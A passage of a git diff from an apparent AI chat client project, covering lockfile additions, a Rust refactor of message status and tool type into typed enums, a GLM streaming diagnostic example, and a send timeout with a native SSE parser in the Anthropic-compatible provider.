"ml-array-rescale": ["ml-array-rescale@2.0.0", "https://registry.npmmirror.com/ml-array-rescale/-/ml-array-rescale-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0", "ml-array-max": "^2.0.0", "ml-array-min": "^2.0.0" } }, "sha512-2GGtKfSno94/kIloWGvpp/U5Q5vLvLrza+SAaGsLeo6Xj4mEbA6Gqx+oTfZFkxnd1grT2X007HfJNs3T5BsiVg=="],
|
||||||
|
|
||||||
|
"ml-matrix": ["ml-matrix@6.13.0", "https://registry.npmmirror.com/ml-matrix/-/ml-matrix-6.13.0.tgz", { "dependencies": { "is-any-array": "^3.0.0", "ml-array-rescale": "^2.0.0" } }, "sha512-QpV0UTUkglg6vPUgThKGBEtit2ac6habSoZ33bwI9rU0UHZLqw6G3ukTIE8zWiUF3sjK8YAlhx/o/b9layzH8A=="],
|
||||||
|
|
||||||
|
"mousetrap": ["mousetrap@1.6.5", "https://registry.npmmirror.com/mousetrap/-/mousetrap-1.6.5.tgz", {}, "sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA=="],
|
||||||
|
|
||||||
"muggle-string": ["muggle-string@0.4.1", "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", {}, "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="],
|
"muggle-string": ["muggle-string@0.4.1", "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", {}, "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="],
|
||||||
|
|
||||||
"nanoid": ["nanoid@3.3.12", "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.12.tgz", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
|
"nanoid": ["nanoid@3.3.12", "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.12.tgz", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
|
||||||
@@ -284,18 +354,26 @@
|
|||||||
|
|
||||||
"tinyglobby": ["tinyglobby@0.2.17", "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.17.tgz", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="],
|
"tinyglobby": ["tinyglobby@0.2.17", "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.17.tgz", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="],
|
||||||
|
|
||||||
|
"tslib": ["tslib@2.8.1", "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
|
||||||
|
|
||||||
"typescript": ["typescript@5.6.3", "https://registry.npmmirror.com/typescript/-/typescript-5.6.3.tgz", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-hjcS1mhfuyi4WW8IWtjP7brDrG2cuDZukyrYrSauoXGNgx0S7zceP07adYkJycEr56BOUTNPzbInooiN3fn1qw=="],
|
"typescript": ["typescript@5.6.3", "https://registry.npmmirror.com/typescript/-/typescript-5.6.3.tgz", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-hjcS1mhfuyi4WW8IWtjP7brDrG2cuDZukyrYrSauoXGNgx0S7zceP07adYkJycEr56BOUTNPzbInooiN3fn1qw=="],
|
||||||
|
|
||||||
|
"utility-types": ["utility-types@3.11.0", "https://registry.npmmirror.com/utility-types/-/utility-types-3.11.0.tgz", {}, "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw=="],
|
||||||
|
|
||||||
"vite": ["vite@6.4.3", "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A=="],
|
"vite": ["vite@6.4.3", "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A=="],
|
||||||
|
|
||||||
"vscode-uri": ["vscode-uri@3.1.0", "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
|
"vscode-uri": ["vscode-uri@3.1.0", "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
|
||||||
|
|
||||||
"vue": ["vue@3.5.35", "https://registry.npmmirror.com/vue/-/vue-3.5.35.tgz", { "dependencies": { "@vue/compiler-dom": "3.5.35", "@vue/compiler-sfc": "3.5.35", "@vue/runtime-dom": "3.5.35", "@vue/server-renderer": "3.5.35", "@vue/shared": "3.5.35" }, "peerDependencies": { "typescript": "*" }, "optionalPeers": ["typescript"] }, "sha512-cx89fnr+0kVGHiNFG6y6s0bdjypJRFNZn6x3WPstNdQR1bi1mbB7h4v5IBGTsPJU3nK1+0Iqj3Zf+hZWMieR4Q=="],
|
"vue": ["vue@3.5.35", "https://registry.npmmirror.com/vue/-/vue-3.5.35.tgz", { "dependencies": { "@vue/compiler-dom": "3.5.35", "@vue/compiler-sfc": "3.5.35", "@vue/runtime-dom": "3.5.35", "@vue/server-renderer": "3.5.35", "@vue/shared": "3.5.35" }, "peerDependencies": { "typescript": "*" }, "optionalPeers": ["typescript"] }, "sha512-cx89fnr+0kVGHiNFG6y6s0bdjypJRFNZn6x3WPstNdQR1bi1mbB7h4v5IBGTsPJU3nK1+0Iqj3Zf+hZWMieR4Q=="],
|
||||||
|
|
||||||
|
"vue-demi": ["vue-demi@0.14.10", "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", { "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" }, "optionalPeers": ["@vue/composition-api"], "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" } }, "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg=="],
|
||||||
|
|
||||||
"vue-i18n": ["vue-i18n@9.14.5", "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-9.14.5.tgz", { "dependencies": { "@intlify/core-base": "9.14.5", "@intlify/shared": "9.14.5", "@vue/devtools-api": "^6.5.0" }, "peerDependencies": { "vue": "^3.0.0" } }, "sha512-0jQ9Em3ymWngyiIkj0+c/k7WgaPO+TNzjKSNq9BvBQaKJECqn9cd9fL4tkDhB5G1QBskGl9YxxbDAhgbFtpe2g=="],
|
"vue-i18n": ["vue-i18n@9.14.5", "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-9.14.5.tgz", { "dependencies": { "@intlify/core-base": "9.14.5", "@intlify/shared": "9.14.5", "@vue/devtools-api": "^6.5.0" }, "peerDependencies": { "vue": "^3.0.0" } }, "sha512-0jQ9Em3ymWngyiIkj0+c/k7WgaPO+TNzjKSNq9BvBQaKJECqn9cd9fL4tkDhB5G1QBskGl9YxxbDAhgbFtpe2g=="],
|
||||||
|
|
||||||
"vue-router": ["vue-router@4.6.4", "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", { "dependencies": { "@vue/devtools-api": "^6.6.4" }, "peerDependencies": { "vue": "^3.5.0" } }, "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg=="],
|
"vue-router": ["vue-router@4.6.4", "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", { "dependencies": { "@vue/devtools-api": "^6.6.4" }, "peerDependencies": { "vue": "^3.5.0" } }, "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg=="],
|
||||||
|
|
||||||
"vue-tsc": ["vue-tsc@2.2.12", "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", { "dependencies": { "@volar/typescript": "2.4.15", "@vue/language-core": "2.2.12" }, "peerDependencies": { "typescript": ">=5.0.0" }, "bin": { "vue-tsc": "./bin/vue-tsc.js" } }, "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw=="],
|
"vue-tsc": ["vue-tsc@2.2.12", "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", { "dependencies": { "@volar/typescript": "2.4.15", "@vue/language-core": "2.2.12" }, "peerDependencies": { "typescript": ">=5.0.0" }, "bin": { "vue-tsc": "./bin/vue-tsc.js" } }, "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw=="],
|
||||||
|
|
||||||
|
"@types/dompurify/dompurify": ["dompurify@3.4.9", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.9.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-4dPSRMRDqHvs0V4YDFCsaIZo4if5u0xM+llyxiM2fwuZFdKArUBAF3VtI2+n8NKg9P870WMdYk0UhqQNoWXbfQ=="],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -95,14 +95,14 @@ impl ChatMessage {
|
|||||||
/// 无需每加一个状态就来这里改。当前取值 None/Some("active")/Some("truncated")
|
/// 无需每加一个状态就来这里改。当前取值 None/Some("active")/Some("truncated")
|
||||||
/// 行为与旧反面排除完全等价(None=true / "active"=true / "truncated"=false)。
|
/// 行为与旧反面排除完全等价(None=true / "active"=true / "truncated"=false)。
|
||||||
pub fn is_active(&self) -> bool {
|
pub fn is_active(&self) -> bool {
|
||||||
matches!(self.status.as_deref(), None | Some("active"))
|
matches!(self.status, None | Some(MessageStatus::Active))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl ToolDefinition {
|
impl ToolDefinition {
|
||||||
pub fn function(name: impl Into<String>, description: impl Into<String>, parameters: serde_json::Value) -> Self {
|
pub fn function(name: impl Into<String>, description: impl Into<String>, parameters: serde_json::Value) -> Self {
|
||||||
Self {
|
Self {
|
||||||
tool_type: "function".into(),
|
tool_type: ToolType::new("function"),
|
||||||
function: ToolFunction { name: name.into(), description: description.into(), parameters },
|
function: ToolFunction { name: name.into(), description: description.into(), parameters },
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -166,22 +166,22 @@ mod tests {
|
|||||||
|
|
||||||
// "active"
|
// "active"
|
||||||
let mut m = ChatMessage::user("hi");
|
let mut m = ChatMessage::user("hi");
|
||||||
m.status = Some("active".to_string());
|
m.status = Some(MessageStatus::Active);
|
||||||
assert!(m.is_active(), "Some(active) 应 active");
|
assert!(m.is_active(), "Some(active) 应 active");
|
||||||
|
|
||||||
// "truncated" — 当前取值,与旧实现等价(false)
|
// "truncated" — 当前取值,与旧实现等价(false)
|
||||||
let mut m = ChatMessage::user("hi");
|
let mut m = ChatMessage::user("hi");
|
||||||
m.status = Some("truncated".to_string());
|
m.status = Some(MessageStatus::Truncated);
|
||||||
assert!(!m.is_active(), "truncated 应不 active");
|
assert!(!m.is_active(), "truncated 应不 active");
|
||||||
|
|
||||||
// "archived_segment" — 阶段2 待引入,白名单自动隔离
|
// "archived_segment" — 阶段2 待引入,白名单自动隔离
|
||||||
let mut m = ChatMessage::user("hi");
|
let mut m = ChatMessage::user("hi");
|
||||||
m.status = Some("archived_segment".to_string());
|
m.status = Some(MessageStatus::ArchivedSegment);
|
||||||
assert!(!m.is_active(), "archived_segment 应不 active(白名单隔离)");
|
assert!(!m.is_active(), "archived_segment 应不 active(白名单隔离)");
|
||||||
|
|
||||||
// "compressed" — 阶段2 待引入,白名单自动隔离
|
// "compressed" — 阶段2 待引入,白名单自动隔离
|
||||||
let mut m = ChatMessage::user("hi");
|
let mut m = ChatMessage::user("hi");
|
||||||
m.status = Some("compressed".to_string());
|
m.status = Some(MessageStatus::Compressed);
|
||||||
assert!(!m.is_active(), "compressed 应不 active(白名单隔离)");
|
assert!(!m.is_active(), "compressed 应不 active(白名单隔离)");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -103,11 +103,11 @@ pub struct ChatMessage {
|
|||||||
/// 生成该消息的 model(仅 assistant 消息有,消息级 model 追溯)
|
/// 生成该消息的 model(仅 assistant 消息有,消息级 model 追溯)
|
||||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
pub model: Option<String>,
|
pub model: Option<String>,
|
||||||
/// 消息状态(UX-09 编辑重生成):None/"active" 正常可见;
|
/// 消息状态(UX-09 编辑重生成):None 正常可见;
|
||||||
/// "truncated" 软删(编辑某条 user 消息后其后续消息标记,保留 DB 可追溯但不进 LLM 上下文、前端视图过滤)
|
/// "truncated" 软删(编辑某条 user 消息后其后续消息标记,保留 DB 可追溯但不进 LLM 上下文、前端视图过滤)
|
||||||
/// 默认 None(向前兼容老 JSON 反序列化)。落库随 messages JSON 序列化,无需独立列。
|
/// 默认 None(向前兼容老 JSON 反序列化)。落库随 messages JSON 序列化,无需独立列。
|
||||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
pub status: Option<String>,
|
pub status: Option<MessageStatus>,
|
||||||
/// DeepSeek thinking 模式的推理内容(多轮需回传)
|
/// DeepSeek thinking 模式的推理内容(多轮需回传)
|
||||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
pub reasoning_content: Option<String>,
|
pub reasoning_content: Option<String>,
|
||||||
@@ -148,11 +148,91 @@ pub enum MessageRole {
|
|||||||
Tool,
|
Tool,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 消息状态枚举(IPC 边界序列化为小写 snake_case 字符串)
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||||
|
#[serde(rename_all = "snake_case")]
|
||||||
|
pub enum MessageStatus {
|
||||||
|
/// 正常可见
|
||||||
|
Active,
|
||||||
|
/// 软删(编辑某条 user 消息后其后续消息标记)
|
||||||
|
Truncated,
|
||||||
|
/// 已压缩
|
||||||
|
Compressed,
|
||||||
|
/// 已归档段
|
||||||
|
ArchivedSegment,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl MessageStatus {
|
||||||
|
/// DB 存储用的小写 snake_case 字符串
|
||||||
|
pub fn as_db_str(&self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
MessageStatus::Active => "active",
|
||||||
|
MessageStatus::Truncated => "truncated",
|
||||||
|
MessageStatus::Compressed => "compressed",
|
||||||
|
MessageStatus::ArchivedSegment => "archived_segment",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 DB 字符串解析
|
||||||
|
pub fn from_db_str(s: &str) -> Option<Self> {
|
||||||
|
Some(match s {
|
||||||
|
"active" => MessageStatus::Active,
|
||||||
|
"truncated" => MessageStatus::Truncated,
|
||||||
|
"compressed" => MessageStatus::Compressed,
|
||||||
|
"archived_segment" => MessageStatus::ArchivedSegment,
|
||||||
|
_ => return None,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// ChatMessage 结构体
|
||||||
|
/// 工具类型(IPC 边界透明序列化为字符串,如 "function")
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash)]
|
||||||
|
#[serde(transparent)]
|
||||||
|
pub struct ToolType(String);
|
||||||
|
|
||||||
|
impl ToolType {
|
||||||
|
/// 构造新工具类型
|
||||||
|
pub fn new(s: impl Into<String>) -> Self {
|
||||||
|
Self(s.into())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for ToolType {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
write!(f, "{}", self.0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<String> for ToolType {
|
||||||
|
fn from(s: String) -> Self {
|
||||||
|
Self(s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<&str> for ToolType {
|
||||||
|
fn from(s: &str) -> Self {
|
||||||
|
Self(s.to_owned())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PartialEq<&str> for ToolType {
|
||||||
|
fn eq(&self, other: &&str) -> bool {
|
||||||
|
self.0 == *other
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PartialEq<str> for ToolType {
|
||||||
|
fn eq(&self, other: &str) -> bool {
|
||||||
|
self.0 == other
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// 工具定义
|
/// 工具定义
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
pub struct ToolDefinition {
|
pub struct ToolDefinition {
|
||||||
#[serde(rename = "type")]
|
#[serde(rename = "type")]
|
||||||
pub tool_type: String,
|
pub tool_type: ToolType,
|
||||||
pub function: ToolFunction,
|
pub function: ToolFunction,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -169,7 +249,7 @@ pub struct ToolFunction {
|
|||||||
pub struct ToolCall {
|
pub struct ToolCall {
|
||||||
pub id: String,
|
pub id: String,
|
||||||
#[serde(rename = "type")]
|
#[serde(rename = "type")]
|
||||||
pub call_type: String,
|
pub call_type: ToolType,
|
||||||
pub function: ToolCallFunction,
|
pub function: ToolCallFunction,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,10 @@ anyhow = { workspace = true }
|
|||||||
tracing = { workspace = true }
|
tracing = { workspace = true }
|
||||||
|
|
||||||
# HTTP + 流式
|
# HTTP + 流式
|
||||||
reqwest = { version = "0.12", features = ["stream", "json"] }
|
reqwest = { version = "0.12", features = ["stream", "json", "rustls-tls"] }
|
||||||
|
bytes = "1"
|
||||||
futures = "0.3"
|
futures = "0.3"
|
||||||
eventsource-stream = "0.2"
|
|
||||||
rand = "0.8"
|
rand = "0.8"
|
||||||
|
|
||||||
|
[dev-dependencies]
|
||||||
|
tempfile = "3"
|
||||||
|
|||||||
76
crates/df-ai/examples/glm_stream_test.rs
Normal file
76
crates/df-ai/examples/glm_stream_test.rs
Normal file
@@ -0,0 +1,76 @@
|
|||||||
|
//! 独立诊断:用 df-ai 真实调用 GLM anthropic 流式端点,验证
|
||||||
|
//! sse_parser + apply_anthropic_event + provider.stream() 整条链路。
|
||||||
|
//!
|
||||||
|
//! 二分定位「发消息卡掉」: 若本例能正常吐 chunk → provider 层(df-ai)OK,
|
||||||
|
//! 问题在 devflow 应用层(provider 配置/emit/前端); 若卡/空/Err → df-ai 有 bug。
|
||||||
|
//!
|
||||||
|
//! 运行: cd crates/df-ai && cargo run --example glm_stream_test
|
||||||
|
use df_ai::build_provider;
|
||||||
|
use df_ai_core::CompletionRequest;
|
||||||
|
use futures::StreamExt;
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() {
|
||||||
|
let token = std::env::var("ANTHROPIC_AUTH_TOKEN")
|
||||||
|
.or_else(|_| std::env::var("ANTHROPIC_API_KEY"))
|
||||||
|
.expect("需要环境变量 ANTHROPIC_AUTH_TOKEN");
|
||||||
|
eprintln!("[glm-test] token len={}", token.len());
|
||||||
|
|
||||||
|
let provider = build_provider(
|
||||||
|
"anthropic",
|
||||||
|
"https://open.bigmodel.cn/api/anthropic",
|
||||||
|
&token,
|
||||||
|
"glm-5.2",
|
||||||
|
);
|
||||||
|
|
||||||
|
// 用 JSON 反序列化构造请求,绕开字段列表(devflow 实际用 glm-5.2)
|
||||||
|
let req: CompletionRequest = serde_json::from_str(
|
||||||
|
r#"{"model":"glm-5.2","stream":true,"max_tokens":16,"messages":[{"role":"user","content":"说你好"}]}"#,
|
||||||
|
)
|
||||||
|
.expect("parse CompletionRequest");
|
||||||
|
|
||||||
|
eprintln!("[glm-test] 调用 provider.stream() ...");
|
||||||
|
let t0 = std::time::Instant::now();
|
||||||
|
let mut s = match provider.stream(req).await {
|
||||||
|
Ok(s) => {
|
||||||
|
eprintln!("[glm-test] stream() Ok, 建连耗时 {:?}", t0.elapsed());
|
||||||
|
s
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("[glm-test] stream() Err: {:#}", e);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut n = 0;
|
||||||
|
let mut got_text = false;
|
||||||
|
while let Some(chunk_result) = s.next().await {
|
||||||
|
n += 1;
|
||||||
|
match chunk_result {
|
||||||
|
Ok(chunk) => {
|
||||||
|
if !chunk.delta.is_empty() {
|
||||||
|
got_text = true;
|
||||||
|
}
|
||||||
|
eprintln!(
|
||||||
|
"[glm-test] chunk#{} delta={:?} reasoning={:?} finished={} usage={:?} err={:?}",
|
||||||
|
n, chunk.delta,
|
||||||
|
chunk.reasoning_content.as_deref().map(|s| if s.len() > 30 { format!("{}..", &s[..30]) } else { s.to_string() }),
|
||||||
|
chunk.finished, chunk.usage, chunk.error
|
||||||
|
);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("[glm-test] chunk#{} Err: {}", n, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if n > 60 {
|
||||||
|
eprintln!("[glm-test] 超 60 chunk 截断");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
eprintln!(
|
||||||
|
"[glm-test] 流结束 共 {} chunk, 是否拿到文本={}, 总耗时 {:?}",
|
||||||
|
n,
|
||||||
|
got_text,
|
||||||
|
t0.elapsed()
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -10,7 +10,6 @@
|
|||||||
//! 本模块仅保留 Provider struct + impl(HTTP 调用),Rust impl 块不可跨文件故作此切分。
|
//! 本模块仅保留 Provider struct + impl(HTTP 调用),Rust impl 块不可跨文件故作此切分。
|
||||||
|
|
||||||
use async_trait::async_trait;
|
use async_trait::async_trait;
|
||||||
use eventsource_stream::Eventsource;
|
|
||||||
use futures::StreamExt;
|
use futures::StreamExt;
|
||||||
use reqwest::Client;
|
use reqwest::Client;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
@@ -590,17 +589,19 @@ impl LlmProvider for AnthropicCompatProvider {
|
|||||||
|
|
||||||
debug!(model = %body.model, "Anthropic 流式调用");
|
debug!(model = %body.model, "Anthropic 流式调用");
|
||||||
|
|
||||||
let resp = match self
|
// BUG-2026-07-07: send 阶段需 timeout 防 hang(实测 GLM 偶发建连后长时间不返回)。
|
||||||
|
// 注意:不能用 reqwest 的 .timeout()——它是整个请求(含 body 读取)的总超时,
|
||||||
|
// 流式长生成任务会被误砍(build_provider_client 注释已明确)。改用 tokio::time::timeout
|
||||||
|
// 包裹 send().await,只管建连+首响应头,不管后续 body 读取(后续由 stream_llm idle timeout 兜底)。
|
||||||
|
// 60s 选型:正常 send(建连+收 200 headers)<5s,60s 足够宽容。
|
||||||
|
let send_future = self
|
||||||
.auth_headers(self.client.post(self.messages_url()))
|
.auth_headers(self.client.post(self.messages_url()))
|
||||||
.json(&body)
|
.json(&body)
|
||||||
.version(reqwest::Version::HTTP_11)
|
.version(reqwest::Version::HTTP_11)
|
||||||
.send()
|
.send();
|
||||||
.await
|
let resp = match tokio::time::timeout(Duration::from_secs(60), send_future).await {
|
||||||
{
|
Ok(Ok(r)) => r,
|
||||||
Ok(r) => r,
|
Ok(Err(e)) => {
|
||||||
Err(e) => {
|
|
||||||
// B-260618-26: 记 reqwest 错误源因链。原 ? 转 anyhow 仅 Display
|
|
||||||
// "error sending request for url" 无法定位 reset/TLS/超时/body 真因。
|
|
||||||
tracing::error!(
|
tracing::error!(
|
||||||
is_timeout = e.is_timeout(),
|
is_timeout = e.is_timeout(),
|
||||||
is_connect = e.is_connect(),
|
is_connect = e.is_connect(),
|
||||||
@@ -620,6 +621,14 @@ impl LlmProvider for AnthropicCompatProvider {
|
|||||||
std::error::Error::source(&e)
|
std::error::Error::source(&e)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
Err(_elapsed) => {
|
||||||
|
// send 阶段超时(60s 未返回 HTTP 响应头):GLM 端点可能不可达或极慢
|
||||||
|
tracing::error!(
|
||||||
|
url = %self.messages_url(),
|
||||||
|
"Anthropic 流式 send 超时(60s 未返回响应头)"
|
||||||
|
);
|
||||||
|
anyhow::bail!("流式请求超时(60秒未收到 HTTP 响应,可能服务不可达或被防火墙拦截)");
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
if !resp.status().is_success() {
|
if !resp.status().is_success() {
|
||||||
@@ -629,35 +638,31 @@ impl LlmProvider for AnthropicCompatProvider {
|
|||||||
anyhow::bail!("Anthropic 流式 API 错误 {}: {}", status, text);
|
anyhow::bail!("Anthropic 流式 API 错误 {}: {}", status, text);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 流式解析:eventsource 逐事件处理,按 type 字段分发转 StreamChunk。
|
// BUG-2026-07-17 根治: 原生 SSE 解析器替代 eventsource-stream(同 openai_compat)。
|
||||||
// 事件解析/usage 累积逻辑抽到 apply_anthropic_event 纯函数,便于单测;此处闭包只负责传 data。
|
|
||||||
// usage 累积:message_start 给 input_tokens,message_delta 给累计 output_tokens(非增量),message_stop 带出。
|
|
||||||
let mut usage_accum: Option<TokenUsage> = None;
|
let mut usage_accum: Option<TokenUsage> = None;
|
||||||
// B-260618-28: MidStream error(如 GLM 1214 messages 非法)时附 messages 摘要定位哪条非法。
|
// B-260618-28: MidStream error(如 GLM 1214 messages 非法)时附 messages 摘要定位哪条非法。
|
||||||
// precheck(Init 路径,发送前)漏的 case,靠此在 SSE error 事件暴露实际 messages 结构到前端 raw。
|
|
||||||
let messages_summary = Self::summarize_messages(&body.messages);
|
let messages_summary = Self::summarize_messages(&body.messages);
|
||||||
let stream = resp
|
|
||||||
.bytes_stream()
|
let sse = crate::sse_parser::SseStream::new(resp.bytes_stream());
|
||||||
.eventsource()
|
let stream = sse.flat_map(move |result: Result<Vec<String>, String>| {
|
||||||
.map(move |event| match event {
|
let mut chunks: Vec<anyhow::Result<crate::provider::StreamChunk>> = Vec::new();
|
||||||
Ok(ev) => {
|
match result {
|
||||||
let mut chunk = apply_anthropic_event(&ev.data, &mut usage_accum);
|
